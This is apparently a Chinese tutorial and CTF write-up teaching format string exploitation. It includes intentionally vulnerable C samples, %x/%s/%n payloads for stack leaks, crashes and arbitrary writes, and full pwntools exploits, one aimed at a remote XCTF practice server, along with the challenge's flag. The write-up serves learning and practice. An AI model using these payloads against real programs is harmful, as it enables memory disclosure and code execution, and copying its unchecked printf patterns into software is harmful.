距离 2021 年年底短暂接触学习 CTF PWN 相关知识(CTF PWN-攻防世界XCTF新手区WriteUp)已经是快 2 年前的事了,这期间就连攻防世界社区的站点都发生巨大变化了……为了学习终端领域底层漏洞的挖掘和利用技术,继续积累 PWN 相关知识。
格式化字符串漏洞从 2000 年左右开始流行起来,几乎在各种软件中都能见到它的身影,随着技术的发展,软件安全性的提升,如今它在桌面端已经比较少见了,但在物联网设备 IoT上依然层出不穷。在 Huawei 终端安全公告 2023 年 7 月 还发布了一个相关 CVE 案例:
先来了解些基础知识,什么是格式化字符串?
C 语言中有一个非常常用的用于向屏幕输出字符的函数:printf。printf 的第 1 个参数是字符串,被称为 格式化字符串。程序员可以在该字符串中使用 %d、%s、%c 等占位符,printf 将依据这些占位符和其他参数整合出一个完整的字符串并输出。
格式控制字符的类型
在 printf 中会根据类型对应的格式去栈中读取对应大小的数据,如果读取不到,就会把栈数据泄露出来了(这也是后面要讲的格式化漏洞的原理)。
这里的 %n 要注意记一下,格式化字符串漏洞利用的时候会用到,%x、%p 在打印内存地址的时候也非常常用,%s 则用于打印字符串。
常见的格式化字符串函数
实际上格式化字符串函数不仅仅 printf 函数一个,还包括以下常见成员:
printf 是我们使用最多的一个函数,其功能为把格式化之后的字符串输出到标准输出流中。所有 printf 函数族的返回值是:写入字符串成功返回写入的字符总数,写入失败则返回一个负数。
int sprintf(char * _s,const char* _format,...)
sprintf 功能与 printf 类似,不过它是将字符串格式化输出到它的第一个参数所指定的字符串数组中。由于它是输出到字符数组,所以会存在数组大小不足或者传递参数非法(后面要学的格式化漏洞),导致格式化后的字符溢出,任意内存读写,堆栈破坏被修改返回地址等,所以推荐使用 snprintf 函数来代替这个不安全的函数(但这样子漏洞就不好挖了 hh)。
关于更多 printf 函数族的格式和用法介绍,请参考:C 库函数 - printf()_菜鸟教程、PWN学习之格式化字符串漏洞 Linux篇,此处不再展开。
此处借助知乎大佬的文章 CTFer成长日记11:格式化字符串漏洞的原理与利用,个人认为对格式化字符串漏洞的原理讲得很清晰。
那这个值是从哪来的呢?我们又能利用这个值做些什么呢?
格式化字符串漏洞原理
之所以会出现上面的现象,主要是因为 printf 不会检查格式化字符串中的占位符是否与所给的参数数目相等。而在 printf 输出的过程中,每遇到一个占位符,就会到 “约定好” 的位置获取数据并根据该占位符的类型解码并输出。
那什么是“约定好”的位置呢?我们先来看上面第一段 printf 代码(提供了参数 a 的代码)中的 printf 是如何访问实参的:
如上图所示,当 printf 希望访问实参时,按照 C 语言函数调用栈的规则,父函数会将实参倒序压入栈中,并且第一个参数与子函数的 return_address 相邻。因此 printf 知道第一个实参(此处第一个实参为字符串" The value of a is %d\n" 的地址)位于:ebp + 2 * sizeof(word);
同理,第二个实参(此处第二个实参为整数 10)位于:ebp + 3 * sizeof(word)
。
我们再来看上面第二段 printf 代码(未提供参数 a 的代码):
在执行这行代码时,由于我们没有提供第二个参数 a,因此父函数只将第一个参数压入了栈中,而其上方则是其他数据。可 printf 并不知道这件事,它仍然以为调用它的父函数会按照约定将需要的参数全部压入栈中。因此,当 printf 希望访问第二个参数时,它仍然傻乎乎地认为首地址为 ebp + 3 * sizeof(word)
的字是第二个参数。这时,它输出的数据就是栈上的其他数据。
综上可以看出,格式化字符串漏洞的基本原理:如果用户通过可控数据源向 printf 函数族传递非法数据,使得格式字符串所要求的参数个数和实际的参数数量不匹配,将导致发生栈溢出漏洞,可被用于任意内存读写,堆栈破坏,返回地址被修改等。
单凭上面的案例可能还不足以清晰了解格式化字符串的漏洞场景,下面再来看看相关的典型案例。
//gcc test.c -o test -m64
#include
int main()
{
char a[100];
scanf("%s",a);
printf(a);
return 0;
}
以上代码便存在典型的格式化字符串漏洞,从外部接受一个字符串然后不做任何过滤直接输出。如果我们输入 AAAA%x-%x-%x-%x-%x-%x
,则可以通过 n 个 %x
越界读取 n 个 8 字节的内存数据,造成数据泄露:
如上是我在 VS Code 运行的结果,成功获取到了多段内存数据,其中 41414141
是我们输入的 AAAA
字符串的十六进制 ASCII 编码(十进制的 65),实际上我们也可以借此确定用户所输入的 AAAA
字符串在栈中的偏移为 4(后续格式化字符串漏洞利用的时候会用到)。
介绍完格式化字符串的基本概念和格式化字符串漏洞的基本原理,下面就开始步入正题,来学习下格式化字符串的具体危害和利用方法。
对于存在格式化字符串漏洞的程序,攻击者可以使用多个 %s
作为格式化字符串函数(例如 printf )的 format 来使程序崩溃。
触发崩溃的基本原理:%s
通过将对应参数的内容作为字符串首地址进行解析,当访问的地址处于保护或是非法地址时,出于 Linux 内核的保护机制会造成崩溃,使进程收到 SIGSEGV 信号。
#include
int main(void)
{
char test[128];
while (1)
{
scanf("%s", test);
printf(test);
}
return 0;
}
如下图,本人在 VSCode 运行上述代码,输入正字符串时程序正常重复打印所输入的内容,但是在输入 %s-%s-%s-%s-%s-%s
时立马触发程序异常崩溃:
这个很简单,实际上在上面 ”简单典型案例“ 当中也已经给出了案例。此处再给出另外一个样式的案例加深认知吧哈哈。
//关闭canary保护,开启栈可执行编译
//gcc -fno-stack-protector -z execstack test.c -o test
#include
int main()
{
printf("%s %d %s %08x %08x %08x","Hello World!",233,"\n");
return 0;
}
如上所示的代码,格式化字符串所需要的参数数量为 6 个,但是只传递了 3 个,显然存在格式化字符串漏洞。所成功读取到的其他内存数据如下所示(%08x
的意思是,宽度为 8,不足 8 的数据用 0 填充):
获取栈变量数值
从上面的漏洞原理可以看到,如果用户可以控制格式化参数,那么就可以读取栈上的任意内容。但是向上面一样利用 n 个 %x 利用起来很麻烦, printf 中有一个$
操作符。这个操作符可以输出指定位置的参数,利用 %n$x
这样的字符串就可以获得对应的第 n+1 个参数的数值(因为格式化参数里边的 n 指的是格式化字符串对应的第 n 个输出参数,那么相对于输出函数来说就成了第 n+1 个)。
上面我在 Kali Linux 中已经演示了通过 AAAA%6$x
获得栈中偏移量为 6 的数据(即输入的 AAAA)。
获取栈变量字符串
%n$s (只是把 %n$x 中的 type 改为s即可)
%17$s
此处直接借助网上的案例:下面第17个参数位置这里是个字符串,可以打印。
栈数据读取总结
%nx
或者 %p
,来按顺序泄漏栈数据;%s
获取变量地址内容,遇零截断;%nx
或 %n$s
,获取指定第 n 个参数的值或字符串。任意地址读取
读取栈内数据不是我们的最终目标,我们希望能进一步读取任意地址的数据,来窃取敏感信息。那么格式化字符串漏洞能否做到这点?答案是肯定的。
攻击者使用 %s
格式化字符串时,可以泄露参数(指针)所指向内存地址,并解析成字符串,直到遇到 NULL 为止。如果攻击者可以操纵此参数(指针)的值,那么就能达到泄露任意内存地址。
任意地址内存泄漏的核心原理:就是用 %s
去读你输入的十六进制格式地址的内存(ps:这其实并不算任意地址内存泄漏,测试发现如果内存中一开始就是 0,那直接就截断了)。
漏洞主要利用的步骤:
%n$s
,然后通过 printf 打印即可。下面用一个例子来实践下,目标是用 pwntools 打印出 flag:
#include
char *flag="flag{Pwn_Caiji_Xiao_fen_dui}\n";
int main() {
char s[100];
int a = 1, b = 0x22222222, c = -1;
scanf("%s", s);
printf("%08x.%08x.%08x.%s\n", a, b, c, s);
printf(s);
return 0;
}
明显的存在格式化字符串漏洞,因为没有过滤用户输入数据,并且直接用 printf 打印。
首先确定出 char s[100]
在第 2 个 printf 用 %s
解析时候,在栈中是第几个参数?通过前面教的 AAAA%08x-%08x-%08x-%08x-%08x-%08x
爆破,当解析到 AAAA 相应的 ASCII 码即可确定该位置,由此可以确定的是此处该值为 6:
接着来构造 Payload,上面已经确定参数位置,那就可以构造 %6$s
,接下来需要把 AAAA 替换成我们要打印内存的地址,这里要打印 flag 符号,(可以用 readelf -s "fine_name"
来看看 flag 符号名):
就是叫 flag,那么可以用 pwntools 的 pwnlib.elf 模块来获取符号名的偏移,具体代码如下:
leakmemory = ELF("./leakmemory")
#获取flag符号偏移
flag_offset = leakmemory.symbols['flag']
那么最后构造的 Payload 如下:
Payload = p32(flag_offset) + b'%6$s'
写出 exp,打印出 flag:
#导入pwn模块
from pwn import *
#设置运行环境
context(arch='i386',os='linux')
context.terminal = ['tmux','splitw','-h']
#封装进程
p = process("./test")
#解析ELF
leakmemory = ELF("./test")
#获取flag符号偏移
flag_offset = leakmemory.symbols['flag'] #如果要泄漏got表可以改成 leakmemory.got['printf']等函数名.
#构造Payload
Payload = p32(flag_offset) + b'%6$s'
#发送Payload
print("[+] 发送Payload:")
p.sendline(Payload)
print(Payload)
#接受返回数据
print("[+] 接受数据:")
print(p.recvline())
flag = p.recv()
flag = u32(flag[4:8])
print("flag地址:{0}".format(hex(flag)))
#打印flag
print("[+] flag如下:")
print("")
#读取leakmemory中flag内存
print(leakmemory.read(flag,30))
此前我们都是利用漏洞获取程序中的数据,那我们能否向程序中写入数据呢?答案是肯定的。
向目标地址写入数据需要用到一个特殊的占位符 %n
,它的功能是:将该占位符之前成功输出的字节数写入目标地址中。
#include
#include
#include
int main()
{
int a = 1;
printf("0123456789%n\n", &a);
printf("The value of a is %d", a);
return 0;
}
运行结果:
可以看到,a 的值被修改为了 10。这是因为 printf("0123456789%n\n", &a)
中 %n
前已经成功输出了 “0123456789” 共计 10 个字节,因此 %n
便会将 10 写入目标地址中。
可以看到,%n 会将其对应的参数作为地址解析。因此只要我们向栈上写入目标地址,再使用 %n 即可向目标地址写入数据。
值得注意的是,若将上述代码改为:
#include
#include
#include
int main()
{
int a = 1;
char b = 'b';
printf("%20c%n", b, &a);
printf("The value of a is %d", a);
return 0;
}
这时 a 的值将变为20,这是因为 %20c
在字符 b 的左侧填充了 19 个空格,再加上 b 本身是一个字节,共计 20 个字节。
也就是说,当我们需要写入的数据(假定为 k + 1)特别大时,可以使用 %kc%n
代替。
任意地址覆盖
覆写栈内数据不是我们的最终目标,我们希望能进一步覆写任意地址的数据,来修改程序逻辑实现任意代码执行。那么格式化字符串漏洞能否做到这点?答案是肯定的。
任意地址内存写(覆盖)的原理其实就是堆栈写(栈数据覆盖)的加强版,在堆栈写里面我们已经可以覆盖要覆盖的变量了,任意地址覆盖其实就同上面栈数据覆盖一样,控制所需要覆盖的地址即可。
具体案例参见下文要讲述的攻防世界实例——CGfsg。
攻防世界XCTF 不知道什么时候做了 UI 变更,现在本人按照 PWN 的“引导模式”(记得以前是“新手区”)进行训练:
来看看今天练习的题目 CGfsg:
下载附件是个 32 位的 elf 文件,未开启 PIE 程序内存加载基地址随机化保护机制(即静态反汇编的地址可以直接使用):
在 Kali 中运行如下:
该可执行程序的执行逻辑:让我们输入一个名字、一段信息,然后输出了欢迎话语并打印了我们输入的信息,接着就结束并退出。
拖进 IDA Pro,通过 F5 直接查看程序的 C 伪代码:
不难看出整段代码的大致含义:
双击跟进 pwnme 可以发现这是 bss 段上的全局变量:
而基于上面的基础知识积累,我们应该都能快速看出来图中圈出来的 printf(s)
代码存在格式化字符串漏洞。
那么这道题的解题思路就很清晰了:借助格式化字符串漏洞,实现任意地址写,篡改 pwnme 全局变量的值并令其等于 8,即可获得 Flag。
格式化字符串漏洞的任意地址覆写的利用步骤跟任意地址读取的利用步骤类似:
%n$s
,最后通过特殊的占位符 %n
写入目标数值即可。那就先来确定第一个核心数据:存在格式化字符串漏洞的受控参数 s 在 printf 函数的栈上的偏移量。
在传递的 message 输入 AAAA%08x-%08x-%08x-%08x-%08x-%08x-%08x-%08x-%08x-%08x-%08x-%08x-%08x
,可以确定此处的偏移值为 10:
然后是确定目标全局变量 pwnme 的地址 target_address 了,上面 IDA 截图已经给出了是 0x0804A068,由于没有 PIE 保护,所以 IDA 所展示的地址即是程序运行时所用的地址。
至此为止,完成任意地址覆写所需要的两个核心数据均已确定,那么 Payload 也可以确定下来了:
p32(0x0804A068) + '%4c%10$n'
或者
p32(0x0804A068) + "aaaa" + '%10$n'
解释下上述 Payload 的组成原理:
%n
的作用前面说过,可以将该占位符之前成功输出的字节数写入目标地址中,而 '%10$n'
对应的是 printf 函数栈上偏移量为 10 的位置,也就是外部可控参数 s 的位置;addr%k$n
:其意思是在地址为 addr、偏移量(相对于我们输入处的)为 k 的位置,写入前面若干个字符串长度的值,所以上述 Payload 就是向 0x0804A068
地址偏移量为 10 的位置处写入数据;p32(0x0804A068)
会输出四个字节,%4c
或 "aaaa"
也会输出 4 个字节(作用就是为了凑够 8 个字节),所以 pwnme 所在的空间内容就被更改为之前所输出的字符数量 8。综上,最终的 exp 程序如下:
from pwn import *
p = remote('61.147.171.105', 59715)
addr_pwnme = 0x0804A068
p.recvuntil("please tell me your name:\n")
p.sendline('J1ay')
payload = p32(addr_pwnme) + b'a'*0x4 + b'%10$n'
p.recvuntil("leave your message please:\n")
p.sendline(payload)
p.interactive()
运行结果:
提交 Flag(cyberpeace{ca8f52e340e60a6975707feaabf0e396}
),答题结束:
But 攻防世界的在线场景时常创建不成功(这Bug无言以对…),可以本地 Kali 虚拟机试下:
from pwn import *
sh = process("./CGfsb")
pwnme_addr = 0x0804A068
payload = p32(pwnme_addr)+ b"aaaa" + b'%10$n'
sh.recvuntil("please tell me your name:")
sh.sendline("aaa")
sh.recvuntil("leave your message please:")
sh.sendline(payload)
sh.interactive()
总结来说,格式化字符串漏洞的成因在于 printf/sprintf/snprintf
等格式化打印函数接受可变参数,而一旦程序编写不规范,比如正确的写法是:printf("%s", pad)
,偷懒写成了:printf(pad)
,就会存在格式化字符串漏洞。此类漏洞的危害巨大,不仅仅可以使得程序崩溃,还可以实现任意地址读写,甚至代码执行。
本文参考文章: